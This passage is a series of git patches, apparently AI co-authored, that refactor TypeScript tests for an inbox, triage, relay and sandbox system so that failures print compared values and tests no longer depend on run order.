|"); From 304641874f8a4542a6849a88db6d8d4d56f0273b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:45:38 +0100 Subject: [PATCH 209/252] test(ui-server): assert inbox claim results, list calls and the unconfigured selection; compare socket teardown flags Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#8 --- packages/ui-server/tests/inbox-budget.test.ts | 4 ++-- packages/ui-server/tests/inbox-dispatcher.test.ts | 12 ++++++++++-- packages/ui-server/tests/inbox-runtime.test.ts | 10 ++++------ .../tests/integration/inbox-bridge-host.test.ts | 5 +++-- 4 files changed, 19 insertions(+), 12 deletions(-) diff --git a/packages/ui-server/tests/inbox-budget.test.ts b/packages/ui-server/tests/inbox-budget.test.ts index 3a0de89d61..45f4983b30 100644 --- a/packages/ui-server/tests/inbox-budget.test.ts +++ b/packages/ui-server/tests/inbox-budget.test.ts @@ -81,8 +81,8 @@ describe("durable budget settlement", () => { test("the default autonomous pool stops a third claim before any attempt or reservation", () => { const f = fixture({ spendUsd: 50 }); try { - expect(f.claim("odysseus")).not.toBeNull(); - expect(f.claim("penelope")).not.toBeNull(); + expect(f.claim("odysseus")).toMatchObject({ runId: "run-odysseus", items: [{ id: "odysseus", status: "claimed", attempts: 1 }] }); + expect(f.claim("penelope")).toMatchObject({ runId: "run-penelope", items: [{ id: "penelope", status: "claimed", attempts: 1 }] }); const rejected = f.claim("telemachus"); expect(rejected).toBeNull(); expect(f.store.getItem("telemachus")).toMatchObject({ status: "ready", attempts: 0 }); diff --git a/packages/ui-server/tests/inbox-dispatcher.test.ts b/packages/ui-server/tests/inbox-dispatcher.test.ts index b3cf046fcc..aae493fb53 100644 --- a/packages/ui-server/tests/inbox-dispatcher.test.ts +++ b/packages/ui-server/tests/inbox-dispatcher.test.ts @@ -35,7 +35,7 @@ const WRITE: BrainApplicationInput = { operation: "write", path: NOTE, expectedB const silentLog = { emit() {} } as never; type Script = (req: StartTurnRequest) => Promise; -function fixture(route = "needs_agent") { +function fixture(route = "needs_agent", configured = true) { const directory = mkdtempSync(join(tmpdir(), "brain-dispatch-")), root = join(directory, "brain"); mkdirSync(root); mkdirSync(join(root, "notes"), { recursive: true }); @@ -67,7 +67,7 @@ function fixture(route = "needs_agent") { const native = createNativeAppFixture(root), nativeManager = createNativeBrainManagerClient(native.nativeBrain); const activity = createActivityStore(db, { writer: "dispatch-test" }); const dispatcher = createInboxDispatcher(db, { brainRoot: root, nativeManager, applicationPlanner: boundaryPlanner(createHostBoundary({ brainPath: root, dbPath, nativeManager })), budget, classification: { apiKey: "fixture-key" }, fetch, store: activity, - select: async () => ({ backend, profileId: "fixture", model: "fixture-model", billingMode: "subscription" }) }); + select: async () => configured ? { backend, profileId: "fixture", model: "fixture-model", billingMode: "subscription" } : null }); const runtime = createInboxRuntime(db, { log: silentLog, brainRoot: root, budget, timers: { setInterval: () => 0 as never, clearInterval: () => {} }, ...dispatcher }); const store = createInboxStore(db); @@ -189,4 +189,12 @@ test("drop, needs_user and an unconfigured selection never start an agent turn", expect(await f.runtime.tick()).toMatchObject({ claimed: 0 }); expect(f.turns).toHaveLength(0); } + // An agent route with no server-selected profile is not claimed: the pass + // neither starts a turn nor fails on the operation guard behind it. + const f = fixture("needs_agent", false); + const itemId = await f.arrive("An agent arrival with no configured selection."); + expect(await f.runtime.tick()).toEqual({ busy: false, claimed: 0, recovered: 0, dispatchEnabled: true }); + expect(f.turns).toHaveLength(0); + // T1 triage claimed the arrival once; the agent tier never did. + expect(f.store.getItem(itemId)).toMatchObject({ type: "triage", status: "ready", attempts: 1 }); }); diff --git a/packages/ui-server/tests/inbox-runtime.test.ts b/packages/ui-server/tests/inbox-runtime.test.ts index 63667e48f6..2799a68b72 100644 --- a/packages/ui-server/tests/inbox-runtime.test.ts +++ b/packages/ui-server/tests/inbox-runtime.test.ts @@ -302,8 +302,8 @@ describe("mounted internal poke", () => { servers.push(server); try { expect(await externalSocket(server.port!, "fixture", ["192.0.2.1", "127.0.0.1", "127.0.0.2"])).toContain("Odysseus fixture response"); - expect(requests).toBe(1); expect(sockets).toHaveLength(3); - expect(sockets.every(socket => socket.destroyed)).toBe(true); + expect(requests).toBe(1); + expect(sockets.map(socket => socket.destroyed)).toEqual([true, true, true]); } finally { attempt.mockRestore(); } }); @@ -319,8 +319,7 @@ describe("mounted internal poke", () => { try { await expect(externalSocket(1, "fixture", ["192.0.2.1", "192.0.2.2"])) .rejects.toThrow("InboxPokeSocketSetupError: no source connected"); - expect(sockets).toHaveLength(2); - expect(sockets.every(socket => socket.destroyed)).toBe(true); + expect(sockets.map(socket => socket.destroyed)).toEqual([true, true]); } finally { attempt.mockRestore(); } } }); @@ -333,8 +332,7 @@ describe("mounted internal poke", () => { try { await expect(externalSocket(1, "fixture", ["192.0.2.1", "192.0.2.2"])) .rejects.toThrow("InboxPokeSocketTimeout: connect exceeded 2000ms"); - expect(sockets).toHaveLength(2); - expect(sockets.every(socket => socket.destroyed)).toBe(true); + expect(sockets.map(socket => socket.destroyed)).toEqual([true, true]); } finally { attempt.mockRestore(); } }); diff --git a/packages/ui-server/tests/integration/inbox-bridge-host.test.ts b/packages/ui-server/tests/integration/inbox-bridge-host.test.ts index cc5d75c6b9..d9e829ca80 100644 --- a/packages/ui-server/tests/integration/inbox-bridge-host.test.ts +++ b/packages/ui-server/tests/integration/inbox-bridge-host.test.ts @@ -24,8 +24,9 @@ test("the authenticated app attaches durable tools to the live turn bridge and r void proof.catch(() => {}); const backend = makeFakeBackend({ id: "fixture", startTurn: async req => { try { - expect(req.bridge.inboxList).toBeDefined(); expect(req.bridge.inboxGet).toBeDefined(); - expect(req.bridge.inboxAdd).toBeDefined(); expect(req.bridge.resolveAction).toBeDefined(); + const listed = await req.bridge.inboxList!({ view: "queue" }); + expect(listed.items.map(item => item.id)).toEqual(["arrival"]); + expect(listed.threads).toMatchObject([{ id: "share", trustClass: "untrusted" }]); const read = await req.bridge.inboxGet!({ itemId: "arrival" }); expect(read.thread).toMatchObject({ id: "share", trustClass: "untrusted" }); const added = await req.bridge.inboxAdd!({ text: "Odysseus inspects the harbor", idempotencyKey: "harbor" }); From ded01ae28ba779431a77cd9864f55d4579a98169 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:45:42 +0100 Subject: [PATCH 210/252] test(ui-server): inbox intake tests no longer depend on run order; triage failures print the values Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#14 --- packages/ui-server/tests/inbox-intake.test.ts | 58 +++++++++++-------- packages/ui-server/tests/inbox-triage.test.ts | 24 ++++---- 2 files changed, 47 insertions(+), 35 deletions(-) diff --git a/packages/ui-server/tests/inbox-intake.test.ts b/packages/ui-server/tests/inbox-intake.test.ts index 359502c679..22759e40b3 100644 --- a/packages/ui-server/tests/inbox-intake.test.ts +++ b/packages/ui-server/tests/inbox-intake.test.ts @@ -2,7 +2,7 @@ import { generateSignedCookie } from "hono/cookie"; import { createPrincipal, revokePrincipal } from "../src/db/principals.js"; import { createInboxIntake } from "../src/inbox/intake.js"; import { pruneShareStaging } from "../src/share/staging.js"; -import { writeFile, chmod, mkdir, utimes, readFile } from "node:fs/promises"; +import { writeFile, chmod, mkdir, utimes, readFile, rm } from "node:fs/promises"; import { createRecordingObservability } from "../src/observability/index.js"; import { createFixtureApp as createApp } from "./helpers/native-app-fixture.js"; import { afterAll, beforeAll, expect, test } from "bun:test"; @@ -38,23 +38,34 @@ function share(url: string, extras: Record = {}) { } test("mounted share replay creates one untrusted thread, triage item and staging area", async () => { + // The app is shared by every test in this file, so count only what this share adds. + const before = createInboxStore(fixture.app.db).snapshot(); + const added = (snapshot: typeof before) => ({ + threads: snapshot.threads.filter(thread => !before.threads.some(prior => prior.id === thread.id)), + items: snapshot.items.filter(item => !before.items.some(prior => prior.id === item.id)), + }); + // The staging root does not exist until the first arrival in this file. + const dirsBefore = await readdir(join(fixture.brainPath, ".brain-ui/inbox")).catch((error: NodeJS.ErrnoException) => { + if (error.code === "ENOENT") return [] as string[]; + throw error; + }); const first = await share("https://example.org/odysseus-route"); expect(first.status).toBe(201); const firstBody = await first.json(); - const firstSnapshot = createInboxStore(fixture.app.db).snapshot(); - expect(firstSnapshot.threads).toHaveLength(1); - expect(firstSnapshot.items).toHaveLength(1); - expect(firstSnapshot.threads[0]!.trustClass).toBe("untrusted"); - expect(firstSnapshot.threads[0]!.source).toBe("share"); - expect(firstSnapshot.items[0]!.type).toBe("triage"); + const firstAdded = added(createInboxStore(fixture.app.db).snapshot()); + expect(firstAdded.threads).toHaveLength(1); + expect(firstAdded.items).toHaveLength(1); + expect(firstAdded.threads[0]!.trustClass).toBe("untrusted"); + expect(firstAdded.threads[0]!.source).toBe("share"); + expect(firstAdded.items[0]!.type).toBe("triage"); const repeated = await share("https://example.org/odysseus-route"); expect(repeated.status).toBe(201); expect(await repeated.json()).toEqual(firstBody); - const snapshot = createInboxStore(fixture.app.db).snapshot(); - expect(snapshot.threads).toHaveLength(1); - expect(snapshot.items).toHaveLength(1); - expect(snapshot.threads[0]!.lastSeenAt).toBeGreaterThanOrEqual(firstSnapshot.threads[0]!.lastSeenAt); - expect((await readdir(join(fixture.brainPath, ".brain-ui/inbox"))).filter(name => !name.startsWith("."))).toEqual([firstBody.id]); + const repeatedAdded = added(createInboxStore(fixture.app.db).snapshot()); + expect(repeatedAdded.threads).toHaveLength(1); + expect(repeatedAdded.items).toHaveLength(1); + expect(repeatedAdded.threads[0]!.lastSeenAt).toBeGreaterThanOrEqual(firstAdded.threads[0]!.lastSeenAt); + expect((await readdir(join(fixture.brainPath, ".brain-ui/inbox"))).filter(name => !name.startsWith(".") && !dirsBefore.includes(name))).toEqual([firstBody.id]); expect(fixture.app.db.query("SELECT COUNT(*) AS n FROM activity_run_rollups").get()).toEqual({ n: 0 }); expect(startedTurns).toBe(0); }); @@ -143,16 +154,17 @@ test("recovery compensates an abandoned preparation and preserves committed byte await writeFile(join(dir, "meta.json"), "abandoned bytes"); fixture.app.db.query("INSERT INTO inbox_intake_receipts (staging_id, source, principal_id, dedup_key, content_hash, created_at, reconcile_after, state) VALUES (?, 'share', ?, 'share:abandoned', 'hash', 0, 0, 'preparing')").run(id, principalId); const intake = createInboxIntake(fixture.app.db, fixture.brainPath); - await intake.reconcile(); - expect(await Bun.file(join(dir, "meta.json")).exists()).toBe(false); - expect(fixture.app.db.query("SELECT 1 FROM inbox_intake_receipts WHERE staging_id = ?").get(id)).toBeNull(); - const response = await share("https://example.org/odysseus-retained"); - const body = await response.json(); - const committedDir = join(fixture.brainPath, body.dir); - await utimes(committedDir, new Date(0), new Date(0)); - await pruneShareStaging(fixture.brainPath, Date.now(), undefined, intake.protectedIds()); - expect(await Bun.file(join(committedDir, "meta.json")).exists()).toBe(true); - await intake.close(); + try { + await intake.reconcile(); + expect(await Bun.file(join(dir, "meta.json")).exists()).toBe(false); + expect(fixture.app.db.query("SELECT 1 FROM inbox_intake_receipts WHERE staging_id = ?").get(id)).toBeNull(); + const response = await share("https://example.org/odysseus-retained"); + const body = await response.json(); + const committedDir = join(fixture.brainPath, body.dir); + await utimes(committedDir, new Date(0), new Date(0)); + await pruneShareStaging(fixture.brainPath, Date.now(), undefined, intake.protectedIds()); + expect(await Bun.file(join(committedDir, "meta.json")).exists()).toBe(true); + } finally { await intake.close(); } }); test("authority overrides are rejected by both mounted endpoints", async () => { @@ -297,5 +309,5 @@ test("the real CLI refuses to follow a redirect carrying its principal cookie", expect(result.exit).toBe(1); expect(result.body.error?.code).toBe("queue_failed"); expect(forwardedRequests).toBe(0); - } finally { redirect.stop(true); target.stop(true); } + } finally { redirect.stop(true); target.stop(true); await rm(credentialFile, { force: true }); } }); diff --git a/packages/ui-server/tests/inbox-triage.test.ts b/packages/ui-server/tests/inbox-triage.test.ts index 4f0418f487..6cbda7c697 100644 --- a/packages/ui-server/tests/inbox-triage.test.ts +++ b/packages/ui-server/tests/inbox-triage.test.ts @@ -59,15 +59,13 @@ test("eight arrivals missing two answers retry exactly those IDs alone and persi const results = await f.triage.run(ids); expect(f.requests.map(r => Object.keys(r.questions))).toEqual([ids.map(id => `${id}.route`), [`${ids[6]}.route`], [`${ids[7]}.route`]]); expect(results).toHaveLength(8); - expect(results.every(result => result.runIds.every(runId => { - const row = f.db.query("SELECT attrs FROM activity_spans WHERE span_id = ?").get(runId) as { attrs: string }; - return JSON.parse(row.attrs)["triage.items"].includes(result.itemId); - }))).toBe(true); expect(results.map(result => result.runIds.length)).toEqual([1, 1, 1, 1, 1, 1, 2, 2]); - expect(results.every(result => result.reason === "accepted")).toBe(true); + const spanItems = (runId: string) => JSON.parse((f.db.query("SELECT attrs FROM activity_spans WHERE span_id = ?").get(runId) as { attrs: string }).attrs)["triage.items"]; + for (const result of results) for (const runId of result.runIds) expect(spanItems(runId)).toContain(result.itemId); + expect(results.map(result => result.reason)).toEqual(Array(8).fill("accepted")); expect(ids.map(id => f.triage.read(id)?.route)).toEqual(Array(8).fill("rule")); expect(f.reservations()).toHaveLength(3); - expect(f.reservations().every(row => row.status === "settled" && row.charged_turns === 1 && row.observed_cost_usd !== null)).toBe(true); + expect(f.reservations().map(row => [row.status, row.charged_turns, row.observed_cost_usd === null])).toEqual(Array(3).fill(["settled", 1, false])); expect(f.db.query("SELECT billing_mode, pricing_estimate, input_tokens FROM activity_run_rollups LIMIT 1").get()).toEqual({ billing_mode: "api", pricing_estimate: 1, input_tokens: 100 }); await f.triage.run(ids); expect(f.requests).toHaveLength(3); @@ -94,7 +92,7 @@ test("a malformed answer map retains usage and retries each missing ID alone", a const items = [await f.seed("Odysseus saved a fact."), await f.seed("Penelope saved a fact.")]; expect((await f.triage.run(items.map(item => item.itemId))).map(row => row.route)).toEqual(["rule", "rule"]); expect(f.requests.map(request => Object.keys(request.questions).length)).toEqual([2, 1, 1]); - expect(f.reservations().every(row => row.observed_cost_usd !== null)).toBe(true); + expect(f.reservations().map(row => row.observed_cost_usd === null)).toEqual([false, false, false]); } finally { await f.close(); } }); @@ -106,7 +104,7 @@ test("429 and 503 back off with a reservation per physical call, separate from m expect(f.delays).toEqual([250, 500]); expect(f.requests).toHaveLength(3); expect(f.reservations()).toHaveLength(3); - expect(f.reservations().slice(0, 2).every(row => row.observed_cost_usd === null && Number(row.charged_cost_usd) > 0)).toBe(true); + expect(f.reservations().slice(0, 2).map(row => [row.observed_cost_usd, Number(row.charged_cost_usd) > 0])).toEqual([[null, true], [null, true]]); } finally { await f.close(); } }); @@ -147,7 +145,9 @@ test("binary extraction and text attachments share the final item bound; binary const binary = await f.seed("Odysseus saved an image.", [new File([new Uint8Array([0, 1, 2])], "odysseus.bin", { type: "application/octet-stream" })]); const results = await f.triage.run([text.itemId, binary.itemId]); expect(results.map(r => [r.route, r.reason])).toEqual([["needs_user", "incomplete"], ["needs_agent", "binary"]]); - expect(f.requests.flatMap(r => Object.values(r.state.items)).every(item => Buffer.byteLength(JSON.stringify(item)) < 4_000)).toBe(true); + const sentBytes = f.requests.flatMap(r => Object.values(r.state.items)).map(item => Buffer.byteLength(JSON.stringify(item))); + expect(sentBytes).toHaveLength(2); + expect(Math.max(...sentBytes)).toBeLessThan(4_000); f.triage.contradict(binary.itemId, "needs_user"); expect(f.store.checkpoints(binary.threadId).at(-1)?.facts.decisions[0]).toContain('"actual":"needs_user"'); expect(f.triage.summary()).toMatchObject({ items: 2, t2Fraction: 0.5, directToT2Fraction: 1, unpricedCalls: 0, inputTokens: 100, outputTokens: 10, contradictions: 1 }); @@ -215,10 +215,10 @@ test("model authority fields are ignored and both acceptance floors are enforced const results = await f.triage.run(items.map(item => item.itemId)); expect(Object.keys(results[2]!).sort()).toEqual(["itemId", "tier", "route", "reason", "proposedRoute", "runIds"].sort()); expect(results.map(result => result.route)).toEqual(["needs_user", "needs_user", "drop"]); - expect(results.slice(0, 2).every(result => result.reason === "low-probability")).toBe(true); + expect(results.slice(0, 2).map(result => result.reason)).toEqual(["low-probability", "low-probability"]); expect(f.store.snapshot().threads.map(thread => [thread.id, thread.trustClass, thread.stakes])).toEqual(before.map(thread => [thread.id, thread.trustClass, thread.stakes])); - expect(f.reservations().every(row => row.principal_id === f.principal.id && row.billing_mode === "api" && row.model === "jev-1.13.0")).toBe(true); - expect(f.store.snapshot().items.some(item => item.queue === "queue" && item.type === "execute")).toBe(false); + expect(f.reservations().map(row => [row.principal_id, row.billing_mode, row.model])).toEqual([[f.principal.id, "api", "jev-1.13.0"]]); + expect(f.store.snapshot().items.filter(item => item.queue === "queue" && item.type === "execute")).toEqual([]); } finally { await f.close(); } }); From daa8da87b863eb0581a48b25696a5844c3385134 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:45:46 +0100 Subject: [PATCH 211/252] test(ui-server): host-process observer tests pin the exact fixture capture set and print captured PIDs on failure Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#15 --- packages/ui-server/tests/host-processes.test.ts | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/packages/ui-server/tests/host-processes.test.ts b/packages/ui-server/tests/host-processes.test.ts index 533029fa44..435785f878 100644 --- a/packages/ui-server/tests/host-processes.test.ts +++ b/packages/ui-server/tests/host-processes.test.ts @@ -94,10 +94,11 @@ async function ownedChild() { expect(ready.stage).toBe("held"); const pid = Number(ready.pid); const captures = await waitForHostProcesses(marker); - const process = captures.find(process => (typeof process === "number" ? process : process.pid) === pid); - expect(process, "ACKNOWLEDGED_NATIVE_CHILD_CAPTURED").toBeDefined(); - const parent = captures.find(process => (typeof process === "number" ? process : process.pid) === owner.pid); - expect(parent, "WAIT_OWNER_CAPTURED").toBeDefined(); + // Only the wait owner carries the marker on its argv, and the forked child inherits it. + expect(captures.map(capture => capture.pid).sort((a, b) => a - b), "OWNER_AND_CHILD_CAPTURED_ALONE") + .toEqual([owner.pid, pid].sort((a, b) => a - b)); + const process = captures.find(capture => capture.pid === pid); + const parent = captures.find(capture => capture.pid === owner.pid); return { pid, process: process!, parent: parent!, marker, close, async command(command: string) { owner.stdin.write(command + "\n"); await owner.stdin.flush(); @@ -196,7 +197,7 @@ test("argument capture revalidates identity across cmdline and propagates unknow // Use this process's real argv, which is available throughout the control. const argument = fs.readFileSync(`/proc/${process.pid}/cmdline`, "utf8").split("\0")[1]!; const restore = procReads((text, call) => call === 1 ? text : replacement(text)); - expect(hostProcessesWithArg(argument).some(value => value.pid === process.pid)).toBe(false); + expect(hostProcessesWithArg(argument).map(value => value.pid)).not.toContain(process.pid); await restore(); const unknown = new Error("capture read failure"); await procReads(() => { throw unknown; }); From f72bd084814b66df1e1295f9635892878d5a51c3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:46:04 +0100 Subject: [PATCH 212/252] test(module-travel): list credential headers by name so the route request check typechecks Test-Health: th-20261110205849-494496#0 --- packages/module-travel/tests/routes-runtime.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/module-travel/tests/routes-runtime.test.ts b/packages/module-travel/tests/routes-runtime.test.ts index efcaad2c1e..593a733e0d 100644 --- a/packages/module-travel/tests/routes-runtime.test.ts +++ b/packages/module-travel/tests/routes-runtime.test.ts @@ -125,7 +125,7 @@ describe("real route CLI", () => { expect(result.requests.map((r) => r.url)).toEqual([`${url.origin}/robots.txt`, url.href]); expect(result.requests.map((r) => r.method)).toEqual(["GET", "GET"]); expect(result.requests.map((r) => r.headers["user-agent"])).toEqual([expect.stringContaining("brain-scrape"), expect.stringContaining("brain-scrape")]); - expect(result.requests.map((r) => [r.headers.cookie, r.headers.authorization])).toEqual([[undefined, undefined], [undefined, undefined]]); + expect(result.requests.flatMap((r) => Object.keys(r.headers).filter((name) => ["cookie", "authorization"].includes(name.toLowerCase())))).toEqual([]); const { route } = JSON.parse(result.stdout); const saved = parseGpx(readFileSync(join(root, route.gpx), "utf8")); expect(saved.segments[0]!.length).toBeGreaterThan(1); From f073acd6c4cd607084aef589c6b11bd363495714 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:50:46 +0100 Subject: [PATCH 213/252] test(ui-react): overlay opening check prints both play states Test-Health: th-20261110201439-289b16#2 --- packages/ui-react/tests/browser/overlay-stacking.pointer.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/overlay-stacking.pointer.tsx b/packages/ui-react/tests/browser/overlay-stacking.pointer.tsx index 7860d1e870..6e0189f7d8 100644 --- a/packages/ui-react/tests/browser/overlay-stacking.pointer.tsx +++ b/packages/ui-react/tests/browser/overlay-stacking.pointer.tsx @@ -572,7 +572,7 @@ test("destination opening references survive native completion before sampling", animation instanceof CSSAnimation && ["bk-overlay-fade", "bk-overlay-panel"].includes(animation.animationName)); const effects = nativeOpenings(captured); expect(effects.length, "both real scrim and surface openings were captured").toBe(2); - expect(effects.every(animation => animation.playState === "paused"), "openings pause before activation returns").toBe(true); + expect(effects.map(animation => animation.playState), "openings pause before activation returns").toEqual(["paused", "paused"]); // Recreate the late-sample condition with native completion, without a sleep // or an invented animation: completed fill-none effects leave getAnimations. for (const animation of effects) animation.play(); From ccb189320ac41d658000a7baa840973de25cc133 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 23:02:21 +0100 Subject: [PATCH 214/252] test(ui-sdk): test-health batch e3855-ui-sdk-01 (#3873) * test(ui-sdk): turn-temp tests name the path bound and print compared values Test-Health: th-20261110163657-5bcc9a#0 * test(ui-sdk): share-target reaches its store deadline on a fake clock and checks which path answered Test-Health: th-20261110163657-5bcc9a#1 * test(ui-sdk): maintenance budget tests admit on a private ledger and name the setting each bad value fails Test-Health: th-20261110163657-5bcc9a#4 * test(ui-sdk): worker sandbox and egress checks print the values they compare Test-Health: th-20261110163657-5bcc9a#5 * test(ui-sdk): relay tests name the leaked secret or record instead of a boolean Test-Health: th-20261110163657-5bcc9a#6 * test(ui-sdk): runtime-state overlap test names the refusal it expects Test-Health: th-20261110163657-5bcc9a#7 * test(ui-sdk): runtime placement test prints a redundant executable bind Test-Health: th-20261110163657-5bcc9a#8 * test(ui-sdk): schema round-trips assert the frame type before narrowing on it Test-Health: th-20261110163657-5bcc9a#9 * test(ui-sdk): egress proxy tests wait for the record instead of sleeping 1 ms Test-Health: th-20261110163657-5bcc9a#10 * test(ui-sdk): native delta completion refusals name each cause Test-Health: th-20261110163657-5bcc9a#15 * test(ui-sdk): gate-holder stdin check prints both byte strings Test-Health: th-20261110163657-5bcc9a#17 * test(ui-sdk): classification tests print the text a prefix check fails on Test-Health: th-20261110163657-5bcc9a#18 * test(ui-sdk): provider relay tests print the leaked body or receipt Test-Health: th-20261110163657-5bcc9a#19 * test(ui-sdk): owned-prune tick fixture owns its root before the transform can refuse Closes #2466. Test-Health: th-20261110163657-5bcc9a#21 * test(ui-sdk): the long-line simplify case asserts the two endpoints it keeps Test-Health: th-20261110163657-5bcc9a#23 * test(ui-sdk): message source and client environment tests assert the frame type before narrowing Test-Health: th-20261110163657-5bcc9a#25 * test(ui-sdk): liveness tests print the events instead of a boolean Test-Health: th-20261110163657-5bcc9a#27 * test(ui-sdk): failure and scope round-trips assert the frame type before narrowing Test-Health: th-20261110163657-5bcc9a#29 * test(ui-sdk): retry-handle round-trip asserts the frame type before narrowing Test-Health: th-20261110163657-5bcc9a#39 * test(ui-sdk): web-search ordering check names a misplaced paid provider Test-Health: th-20261110163657-5bcc9a#40 * test(ui-sdk): provider cache mask check names a stray cache path Test-Health: th-20261110163657-5bcc9a#43 * test(ui-sdk): prompt-context tail check prints the prepared prompt Test-Health: th-20261110163657-5bcc9a#50 * test(ui-sdk): provider-key leak check names the leaked fixture value Test-Health: th-20261110163657-5bcc9a#51 * test(ui-sdk): the kept coastline endpoints typecheck as coordinates Test-Health: th-20261110163657-5bcc9a#23 * test(ui-sdk): the absent x-api-key header typechecks as string | undefined Test-Health: th-20261110163657-5bcc9a#6 --- .../ui-sdk/tests/activity-schemas.test.ts | 6 +++ .../tests/classification-catalogue.test.ts | 2 +- .../tests/classification-detect.test.ts | 8 ++-- .../ui-sdk/tests/client-environment.test.ts | 2 + packages/ui-sdk/tests/coastline.test.ts | 3 +- packages/ui-sdk/tests/egress-proxy.test.ts | 11 ++++- .../tests/egress-worker-runtime.test.ts | 2 +- .../ui-sdk/tests/gate-holder-crash.test.ts | 2 +- packages/ui-sdk/tests/inference-relay.test.ts | 2 +- .../tests/maintenance-temp-budget.test.ts | 43 ++++++++++++------- .../tests/maintenance-temp-holders.test.ts | 4 +- .../tests/maintenance-temp-ledger-child.ts | 4 +- .../maintenance-temp-ledger-protocol.test.ts | 2 +- .../ui-sdk/tests/maintenance-temp.test.ts | 8 ++-- packages/ui-sdk/tests/message-source.test.ts | 2 + .../ui-sdk/tests/native-brain-manager.test.ts | 15 ++++--- .../ui-sdk/tests/owned-prune-variant.test.ts | 11 +++-- .../ui-sdk/tests/provider-cache-masks.test.ts | 2 +- .../ui-sdk/tests/provider-relay-files.test.ts | 2 +- packages/ui-sdk/tests/provider-relay.test.ts | 6 +-- packages/ui-sdk/tests/retry-protocol.test.ts | 2 +- packages/ui-sdk/tests/scope-contract.test.ts | 2 +- packages/ui-sdk/tests/server-schemas.test.ts | 1 + .../tests/session-prompt-context.test.ts | 2 +- packages/ui-sdk/tests/share-target.test.ts | 36 +++++++++++----- packages/ui-sdk/tests/turn-failure.test.ts | 1 + packages/ui-sdk/tests/turn-temp-tool.test.ts | 8 ++-- packages/ui-sdk/tests/web-search.test.ts | 2 +- .../ui-sdk/tests/worker-provider-keys.test.ts | 2 +- .../tests/worker-provider-relay.test.ts | 8 ++-- .../tests/worker-runtime-placement.test.ts | 4 +- packages/ui-sdk/tests/worker-sandbox.test.ts | 4 +- .../ui-sdk/tests/worker-startup-view.test.ts | 2 +- .../ui-sdk/tests/worker-state-mount.test.ts | 2 +- .../ui-sdk/tests/ws-client-liveness.test.ts | 4 +- 35 files changed, 135 insertions(+), 82 deletions(-) diff --git a/packages/ui-sdk/tests/activity-schemas.test.ts b/packages/ui-sdk/tests/activity-schemas.test.ts index 918debcafa..c70a8d484b 100644 --- a/packages/ui-sdk/tests/activity-schemas.test.ts +++ b/packages/ui-sdk/tests/activity-schemas.test.ts @@ -53,6 +53,7 @@ describe("activity server frames", () => { for (const origin of ["session", "cron", "autonomous"] as const) { const res = parseServerMessage(JSON.stringify({ type: "activity_delta", runId: "r1", seq: 1, span: { ...span, origin } })); expect(res.ok).toBe(true); + expect(res.ok && res.message.type).toBe("activity_delta"); if (res.ok && res.message.type === "activity_delta") expect(res.message.span!.origin).toBe(origin); } }); @@ -69,6 +70,7 @@ describe("activity server frames", () => { }) ); expect(res.ok).toBe(true); + expect(res.ok && res.message.type).toBe("activity_snapshot"); if (res.ok && res.message.type === "activity_snapshot") { expect(res.message.highWaterSeq.r1).toBe(4); expect(res.message.spans[0]!.kind).toBe("turn"); @@ -82,6 +84,7 @@ describe("activity server frames", () => { JSON.stringify({ type: "activity_delta", runId: "r1", seq: 1, span }) ); expect(res.ok).toBe(true); + expect(res.ok && res.message.type).toBe("activity_delta"); if (res.ok && res.message.type === "activity_delta") { expect(res.message.span!.principalId).toBeUndefined(); } @@ -118,6 +121,7 @@ describe("activity server frames", () => { JSON.stringify({ type: "activity_delta", runId: "r1", seq: 5, span }) ); expect(res.ok).toBe(true); + expect(res.ok && res.message.type).toBe("activity_delta"); if (res.ok && res.message.type === "activity_delta") { expect(res.message.seq).toBe(5); expect(res.message.span!.outcome).toBeUndefined(); @@ -142,6 +146,7 @@ describe("activity server frames", () => { }) ); expect(res.ok).toBe(true); + expect(res.ok && res.message.type).toBe("result"); if (res.ok && res.message.type === "result") { expect(res.message.usage!.perModel!["claude-fable-5"]!.costUsd).toBe(1.02); expect(res.message.outcomeDetail).toBe("timeout"); @@ -159,6 +164,7 @@ describe("activity server frames", () => { }) ); expect(res.ok).toBe(true); + expect(res.ok && res.message.type).toBe("tool_use_start"); if (res.ok && res.message.type === "tool_use_start") { expect(res.message.parentToolUseId).toBe("agent-call-1"); } diff --git a/packages/ui-sdk/tests/classification-catalogue.test.ts b/packages/ui-sdk/tests/classification-catalogue.test.ts index cbef4364e6..a8cfb5b812 100644 --- a/packages/ui-sdk/tests/classification-catalogue.test.ts +++ b/packages/ui-sdk/tests/classification-catalogue.test.ts @@ -46,7 +46,7 @@ describe("the catalogue", () => { const questions = questionsFor(candidate); expect(Object.keys(questions).length).toBeGreaterThan(0); for (const [id, question] of Object.entries(questions)) { - expect(id.startsWith(`${candidate.id}.`)).toBe(true); + expect(id).toStartWith(`${candidate.id}.`); expect(["choice", "noul"]).toContain(question.type); // The classifier is told which state key to look at, never the // whole answer. diff --git a/packages/ui-sdk/tests/classification-detect.test.ts b/packages/ui-sdk/tests/classification-detect.test.ts index 1fd1b093a3..497a840399 100644 --- a/packages/ui-sdk/tests/classification-detect.test.ts +++ b/packages/ui-sdk/tests/classification-detect.test.ts @@ -33,9 +33,9 @@ describe("detectCandidates", () => { ["Host", "Penelope", "Nestor", "Menelaus"], ]); const cut = COMPARISON.slice(table.start, table.end); - expect(cut.startsWith("| | Ithaca")).toBe(true); - expect(cut.endsWith("| Menelaus |")).toBe(true); - expect(COMPARISON.slice(table.end).trim().startsWith("Pick Ithaca")).toBe(true); + expect(cut).toStartWith("| | Ithaca"); + expect(cut).toEndWith("| Menelaus |"); + expect(COMPARISON.slice(table.end).trim()).toStartWith("Pick Ithaca"); }); test("a ragged row is padded to the header width, as GFM renders it", () => { @@ -141,7 +141,7 @@ 